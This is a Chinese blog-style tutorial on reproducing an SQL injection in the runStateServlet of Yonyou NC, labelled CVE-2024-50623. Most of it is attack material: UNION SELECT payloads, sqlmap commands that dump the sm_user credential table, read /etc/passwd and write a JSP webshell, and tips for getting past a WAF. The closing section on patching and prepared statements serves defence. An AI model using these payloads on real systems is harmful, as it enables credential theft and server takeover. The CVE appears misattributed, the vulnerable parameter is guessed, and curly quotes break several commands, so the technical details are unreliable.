CVE-2024-50623漏洞复现:用友NC runStateServlet SQL注入原理与实战
1. 项目概述与背景
最近在安全圈里,用友NC的runStateServlet接口爆出了一个SQL注入漏洞,编号CVE-2024-50623。这个漏洞的热度不低,很多朋友都在讨论和复现。用友NC作为国内广泛使用的企业级ERP系统,一旦出现这种高危漏洞,影响面是相当大的。我花了些时间,从环境搭建到漏洞利用,完整地走了一遍流程。这篇文章,我就以一个安全研究者的视角,把这个漏洞的来龙去脉、复现细节以及过程中的一些坑点,原原本本地记录下来。无论你是刚入门安全的新手,想了解一个真实漏洞的复现流程,还是有一定经验的老手,想看看这个特定漏洞的细节,相信都能从中找到有价值的信息。简单来说,这个漏洞允许攻击者通过构造特定的HTTP请求,在未授权的情况下向数据库注入恶意SQL语句,从而窃取敏感数据甚至获取服务器控制权,危害等级非常高。
2. 漏洞原理深度剖析
2.1 runStateServlet接口的功能与缺陷
要理解这个漏洞,首先得知道runStateServlet是干什么的。在用友NC的架构中,存在大量用于系统状态监控、信息收集的Servlet接口,runStateServlet便是其中之一。它的设计初衷,很可能是为了方便管理员或监控系统快速获取NC服务的运行状态、会话信息、缓存数据等内部指标。这类接口通常需要较高的权限或只能在内部网络访问,但问题往往出在权限校验不严和输入过滤缺失上。
根据公开的漏洞详情和分析,该Servlet的某个参数(例如与查询条件相关的参数)在拼接SQL语句时,没有进行有效的安全过滤和校验。开发人员可能直接采用了字符串拼接的方式构造SQL查询,例如“SELECT * FROM some_table WHERE condition='” + userInput + “'”。当攻击者能够控制userInput这部分数据时,就可以插入额外的SQL关键字和语句,改变原查询的语义。这就是最经典、也最危险的SQL注入漏洞成因:将不可信的用户输入直接拼接到了可执行的SQL命令中。
2.2 SQL注入的利用链构建
这个漏洞的利用链相对直接。攻击者向runStateServlet接口发送一个特制的HTTP GET或POST请求。请求中包含了经过精心构造的恶意参数值。这个值通常以单引号‘开始,用于闭合SQL语句中原本的字符串引号,然后跟上诸如UNION SELECT之类的攻击载荷。
例如,一个正常的请求可能是这样的:/servlet/runStateServlet?queryParam=normalValue。后端处理逻辑可能是:sql = “SELECT info FROM state_table WHERE key='” + queryParam + “'”。 而攻击者可以将其构造为:/servlet/runStateServlet?queryParam=‘ UNION SELECT user() --。 这样,最终执行的SQL语句就变成了:SELECT info FROM state_table WHERE key=’’ UNION SELECT user() -- ’。这里的--是SQL中的注释符,用于注释掉原语句末尾可能存在的另一个单引号,确保语法正确。于是,查询结果就包含了数据库当前用户的信息。
更危险的利用方式是通过UNION SELECT结合load_file()读取服务器文件,或者通过SELECT … INTO OUTFILE写入Webshell,从而直接获取服务器权限。漏洞的危险性正在于此,它从一个信息泄露点可能演变为一个完整的远程代码执行(RCE)通道。
2.3 影响范围与版本关联
根据多方信息汇总,这个漏洞影响多个版本的用友NC。通常,这类在核心Servlet中出现的漏洞,影响范围会覆盖使用相同代码基础的一系列版本。虽然官方会针对特定版本发布补丁,但在漏洞刚被披露而补丁尚未广泛部署的窗口期,以及大量用户由于升级成本或系统稳定性考虑而延迟打补丁的情况下,存在大量可被攻击的实例。
在复现和研究时,我们通常会搭建一个明确受影响的版本环境,例如NC 6.5或某个特定的历史版本。这并非意味着其他版本绝对安全,而是基于已知的漏洞分析报告进行针对性验证。在实际的渗透测试或安全评估中,如果遇到用友NC系统,都应将其作为一项必要的检查项。
3. 复现环境搭建与配置
3.1 靶机环境准备
复现一个漏洞,第一步就是搭建一个与漏洞匹配的环境。对于用友NC这类复杂的企业应用,自己从零安装配置非常耗时,最有效率的方法是使用预先构建好的漏洞靶场或虚拟机镜像。
我选择在本地VMware Workstation中搭建环境。你可以在一些知名的漏洞靶场平台或安全社区找到打包好的用友NC漏洞复现环境镜像(例如,某些专注于Java反序列化、Weblogic漏洞的靶场也包含了用友NC的漏洞场景)。下载得到的通常是一个.ova或.vmx虚拟机文件。直接导入到VMware中即可。
导入后,需要关注几个关键点:
- 网络模式:建议设置为“桥接模式”或“NAT模式”。桥接模式会使虚拟机获得一个与物理主机同网段的独立IP,方便从主机直接访问。NAT模式则通过主机共享IP,也能满足需求。我通常用桥接,这样IP地址固定,操作起来更直观。
- 系统账户:这类靶场镜像的默认账户密码往往是
root/root、root/123456或者admin/admin。启动虚拟机后,尝试用这些常见组合通过SSH或控制台登录。 - 服务状态:登录后,首先检查用友NC的相关服务是否已经启动。可以执行
ps -ef | grep java或netstat -tlnp命令,查看是否有Java进程监听在NC常用的端口(如80, 8080, 7001等)。如果服务未启动,需要到NC的安装目录下(例如/home/nc/或/usr/local/yonyou/),寻找启动脚本,通常是startup.sh。
注意:使用他人打包的镜像存在一定安全风险,务必在隔离的虚拟化环境中运行,切勿在生产网络或包含敏感信息的主机上运行。
3.2 工具链准备(攻击机视角)
在攻击机(通常是你的物理机或另一个Kali Linux虚拟机)上,我们需要准备一系列工具。我的攻击机是Kali Linux,以下工具都是内置或易于安装的:
网络扫描与发现:
nmap:用于扫描靶机IP,发现开放端口,确定NC的Web服务地址。命令如:nmap -sV -p 1-65535 <靶机IP>。gobuster/dirsearch:用于目录爆破,可能有助于发现更多的Servlet路径或其他管理接口。不过对于已知漏洞点,这一步有时可省略。
漏洞探测与利用:
Burp Suite:这是核心工具。用于拦截、重放、修改HTTP请求。我们需要用它来构造发送给runStateServlet的恶意请求。它的Repeater模块将是我们的主战场。sqlmap:自动化SQL注入工具。在手动验证漏洞存在后,可以用它来进一步利用,自动化获取数据库名、表名、字段名和数据。它的强大功能可以节省大量手工构造Payload的时间。
辅助分析:
- 浏览器:配合Burp Suite使用。
Python3:可能需要编写简单的脚本来自定义Payload或处理响应。curl:命令行下快速发送HTTP请求进行初步测试。
确保你的攻击机和靶机在同一网络内,能够互相ping通。获取到靶机的IP地址是后续所有操作的基础。
4. 漏洞手工复现与验证
4.1 信息收集与目标定位
首先,我们需要找到靶机上用友NC的Web入口。启动靶机后,使用ifconfig或ip addr命令查看其IP地址。假设我们得到的靶机IP是192.168.1.100。
在攻击机上,用浏览器直接访问http://192.168.1.100。如果NC服务运行在默认端口,你可能会看到用友NC的登录页面或者一些默认页面。如果没看到,可能是端口不同。回顾之前nmap扫描的结果,找到HTTP服务端口(可能是8080, 7001, 80等)。例如,访问http://192.168.1.100:8080。
找到Web入口后,下一步是定位存在漏洞的runStateServlet。其路径可能类似于:
/servlet/runStateServlet/uapws/servlet/runStateServlet/nc/servlet/runStateServlet- 或者其他基于NC版本和部署方式的变体。
我们可以通过已知的漏洞报告中的路径进行尝试,或者使用dirsearch等工具对常见Servlet路径进行模糊测试。这里我们假设已知路径为/servlet/runStateServlet。
4.2 初步探测与错误回显判断
打开Burp Suite,配置好浏览器代理。在浏览器中访问一个不存在的路径或已知路径带上一个测试参数,让请求经过Burp。然后,在Burp的Proxy -> Intercept标签页,点击“Intercept is on”将其关闭,在History中找到我们刚刚的请求。右键发送到Repeater。
在Repeater中,我们将请求修改为针对runStateServlet的探测请求:
GET /servlet/runStateServlet?state=1 HTTP/1.1 Host: 192.168.1.100:8080 User-Agent: Mozilla/5.0... Accept: */* ...发送这个请求。观察响应。
关键点在于分析响应内容:
- 正常响应:可能返回一些XML或JSON格式的状态信息,或者一个空白页面,甚至是一个错误页面但提示“参数错误”而非SQL错误。
- SQL错误响应:这是漏洞存在的强烈信号。我们在参数值中尝试添加一个单引号
‘:
发送请求后,如果响应中包含了数据库报错信息,例如“You have an error in your SQL syntax; check the manual...”(MySQL)或“ORA-xxxxx: ...” (Oracle),那么几乎可以断定存在SQL注入漏洞。用友NC后端通常支持多种数据库,报错信息会指明数据库类型。GET /servlet/runStateServlet?state=1‘ HTTP/1.1
4.3 手工注入获取信息
确认存在注入点且报错信息回显后,我们可以进行手工注入。这里以MySQL数据库为例(实际环境可能是Oracle或SQL Server,语法需调整)。
我们的目标是获取一些基本信息,例如数据库版本、当前用户。
- 判断列数:使用
ORDER BY子句。state参数原本可能在WHERE子句中,我们构造Payload:1‘ ORDER BY 5 --。不断递增数字,直到页面返回错误(例如ORDER BY 6时报错),说明列数为5。这里的--后面有个空格,是SQL注释的标准写法,用于注释掉原SQL的剩余部分。 - 判断回显点:使用
UNION SELECT。构造Payload:1‘ UNION SELECT 1,2,3,4,5 --。发送请求,观察页面返回内容。如果页面正常显示,并且原本显示数据的位置出现了数字(如2和3),说明这些位置(第2、3列)的数据会被回显到页面上。我们记下这些回显点位置。 - 获取基本信息:利用回显点,替换数字为我们需要查询的函数。
- 查询数据库版本:
1‘ UNION SELECT 1,version(),3,4,5 -- - 查询当前数据库用户:
1‘ UNION SELECT 1,user(),3,4,5 -- - 查询当前数据库名:
1‘ UNION SELECT 1,database(),3,4,5 --
- 查询数据库版本:
在Repeater中发送这些请求,响应体中应该会在对应的回显点位置显示出数据库版本、用户名等信息。这一步的成功,标志着我们不仅验证了漏洞,还实现了初步的信息窃取。
5. 利用sqlmap进行自动化深度利用
手工注入可以验证漏洞并获取基本信息,但要拖库(获取所有数据库、表、字段和数据),手动操作极其繁琐。这时sqlmap就派上用场了。
5.1 基本探测与数据库指纹识别
在Kali终端中,使用以下命令进行初步探测:
sqlmap -u “http://192.168.1.100:8080/servlet/runStateServlet?state=1“ --batch-u:指定目标URL。--batch:以非交互模式运行,所有提示都选择默认选项。
sqlmap会自动检测注入点类型(布尔盲注、时间盲注、报错注入、联合查询注入等)。根据响应,它会识别出最合适的注入技术。如果手工阶段已经确认是报错或联合查询注入,我们可以通过参数指定来加快速度:
sqlmap -u “http://192.168.1.100:8080/servlet/runStateServlet?state=1“ --technique=U --batch--technique=U指定使用联合查询(UNION)技术。
很快,sqlmap会反馈它识别出的数据库类型、版本、Web应用技术等信息。这对于后续的利用至关重要。
5.2 枚举数据库信息
确认注入点可用后,开始枚举信息:
- 列出所有数据库:
执行后,sqlmap -u “http://192.168.1.100:8080/servlet/runStateServlet?state=1“ --dbs --batchsqlmap会展示它获取到的数据库列表。用友NC的数据库名可能包含nc、yonyou、ufida等关键字,业务数据通常就在这些库中。 - 指定数据库,列出所有表:
假设我们关注名为sqlmap -u “http://192.168.1.100:8080/servlet/runStateServlet?state=1“ -D nc --tables --batchnc的数据库。这条命令会列出该库下所有的表名。你需要从中寻找可能存放敏感信息的表,例如sm_user(用户表)、sm_permission(权限表)、bd_company(公司信息表)或者包含password、user、account等关键词的表。 - 指定表,列出所有字段:
这条命令会列出sqlmap -u “http://192.168.1.100:8080/servlet/runStateServlet?state=1“ -D nc -T sm_user --columns --batchsm_user表的所有字段名。你可能会看到user_code、user_password、user_name等字段。 - dump指定字段的数据:
这是最关键的一步,sqlmap -u “http://192.168.1.100:8080/servlet/runStateServlet?state=1“ -D nc -T sm_user -C “user_code,user_password,user_name“ --dump --batch--dump参数会将指定字段的数据全部导出。sqlmap可能会询问你是否要破解哈希密码,可以根据需要选择。执行完成后,你就能获得一份明文或哈希格式的用户账号密码列表。
5.3 高级利用:文件读写与命令执行
如果数据库用户权限足够高(例如是root或DBA),并且数据库配置允许,sqlmap可以尝试进行文件读写操作,这通常是获取Webshell的途径。
- 判断文件读写权限:
查看当前数据库用户的权限,关注是否有sqlmap -u “http://192.168.1.100:8080/servlet/runStateServlet?state=1“ --privileges --batchFILE_PRIV权限。 - 读取服务器文件:
尝试读取系统文件,验证权限。如果成功,文件内容会保存在sqlmap -u “http://192.168.1.100:8080/servlet/runStateServlet?state=1“ --file-read “/etc/passwd“ --batchsqlmap的输出目录中。 - 写入Webshell(需知道Web绝对路径): 这是风险极高的操作,仅在授权的渗透测试环境中进行。需要知道NC的Web根目录绝对路径(如
/home/nc/webapps/)。
如果成功,就可以通过浏览器访问sqlmap -u “http://192.168.1.100:8080/servlet/runStateServlet?state=1“ --file-write “/path/to/your/shell.jsp“ --file-dest “/home/nc/webapps/shell.jsp“ --batchhttp://192.168.1.100:8080/shell.jsp来执行命令。
重要警告:文件读写和命令执行操作具有极高的破坏性,只能在完全可控的、用于学习和研究的实验环境中进行。在未经授权的系统上尝试是非法行为。
6. 复现过程中的难点与避坑指南
6.1 环境搭建与启动问题
- 问题1:虚拟机无法获取IP或网络不通。
- 排查:检查虚拟机网络设置是否为桥接/NAT,主机防火墙是否拦截了虚拟机流量,尝试重启网络服务
service networking restart或systemctl restart NetworkManager。 - 技巧:在虚拟机内使用
dhclient命令主动获取IP,或直接设置静态IP。
- 排查:检查虚拟机网络设置是否为桥接/NAT,主机防火墙是否拦截了虚拟机流量,尝试重启网络服务
- 问题2:NC服务启动失败。
- 排查:查看NC的启动日志,通常在
logs/目录下。常见原因是Java环境不对(需要特定版本的JDK)、内存不足、端口被占用或数据库连接失败。 - 技巧:确保JAVA_HOME环境变量正确设置。可以尝试手动执行启动脚本,并加上输出所有日志的参数,以便观察错误。
- 排查:查看NC的启动日志,通常在
6.2 漏洞探测与利用问题
- 问题1:Burp Suite抓不到靶机的包。
- 排查:确认浏览器代理设置正确指向Burp(默认127.0.0.1:8080),Burp的Proxy监听端口正确且处于运行状态。如果靶机是虚拟机,确保主机和虚拟机网络互通。
- 技巧:可以先在浏览器中直接访问一个不存在的地址,看Burp History里是否有记录,这是最快速的检查方法。
- 问题2:添加单引号后没有报错信息。
- 可能性:① 漏洞不存在于这个参数或路径。② 存在注入但属于盲注(布尔盲注或时间盲注),不会直接回显错误信息。③ 应用程序有全局的错误处理机制,屏蔽了详细报错。
- 应对:尝试其他可能的参数名(如
id,type,code等)。使用sqlmap进行盲注检测:sqlmap -u “...” --level=3 --risk=2。观察页面返回内容的差异(布尔盲注),或使用--time-sec参数测试时间盲注。
- 问题3:
sqlmap跑不出来或误报。- 排查:可能WAF(Web应用防火墙)干扰,或者注入点比较特殊(例如需要特定的Cookie或Header)。
sqlmap的请求被拦截或响应异常。 - 技巧:使用
--random-agent随机化User-Agent,使用--delay设置请求延迟以绕过WAF频率限制,使用--proxy设置代理以便观察sqlmap发出的实际请求。对于需要Cookie的站点,使用--cookie=“...”参数。如果手工确认有注入但sqlmap检测不到,可以尝试指定注入点位置state=1*,并在命令中使用-p state明确指定测试参数。
- 排查:可能WAF(Web应用防火墙)干扰,或者注入点比较特殊(例如需要特定的Cookie或Header)。
6.3 权限与进一步利用问题
- 问题:能注入但无法
UNION SELECT或无法读写文件。- 原因:数据库用户权限较低,只有基本的查询权限。或者数据库配置严格,禁用了
INTO OUTFILE和load_file等功能。 - 应对:即使不能直接写shell,信息泄露的危害也已足够大。可以尝试通过注入获取管理员后台的密码哈希,然后进行破解或尝试登录。或者寻找其他漏洞进行组合利用。
- 原因:数据库用户权限较低,只有基本的查询权限。或者数据库配置严格,禁用了
7. 漏洞修复与安全建议
复现漏洞的最终目的,是为了理解风险并推动修复。对于企业安全人员或系统管理员,如果正在使用受影响的用友NC版本,应立即采取以下措施:
- 官方补丁升级:第一时间关注用友官方安全公告,获取针对CVE-2024-50623的官方补丁,并按照指导进行升级。这是最根本、最有效的解决方案。
- 临时缓解措施:如果无法立即升级,可以考虑以下临时方案:
- WAF防护:在NC系统前端部署Web应用防火墙(WAF),配置规则拦截对
runStateServlet路径的恶意访问请求,特别是包含常见SQL注入特征的Payload。 - 访问控制:在网络层或应用服务器(如Nginx/Apache)层面,配置访问控制列表(ACL),限制对
/servlet/runStateServlet等非必要监控接口的访问,仅允许可信的管理IP地址访问。 - 输入验证强化:如果具备二次开发能力,可以在应用层对该Servlet的输入参数进行严格的过滤和验证,例如只允许数字或特定枚举值,对单引号、双引号、分号等SQL元字符进行转义或拒绝。
- WAF防护:在NC系统前端部署Web应用防火墙(WAF),配置规则拦截对
- 安全开发规范:从根源上杜绝此类问题,必须遵循安全编码规范:
- 使用预编译语句(Prepared Statements):这是防止SQL注入最有效的手段。所有数据库操作都应使用参数化查询,确保用户输入永远被当作数据处理,而非代码的一部分。
- 最小权限原则:连接数据库的应用程序账户,只应授予其完成功能所必需的最小权限,避免使用
root或sa等高权限账户。 - 错误信息处理:自定义统一的错误处理页面,避免将数据库的详细错误信息(如SQL语句、表名、字段名)直接返回给前端用户。
- 定期安全审计与渗透测试:对重要的企业应用,应定期进行代码安全审计和黑盒/白盒渗透测试,主动发现潜在漏洞。
这个漏洞的复现过程,清晰地展示了一个简单的输入验证缺失如何演变成一场严重的安全事故。对于安全研究者,它是一次很好的实战练习;对于企业运维和开发者,它是一记响亮的警钟。在数字化时代,安全无小事,任何一个细微的疏忽,都可能成为攻击者通往核心数据的捷径。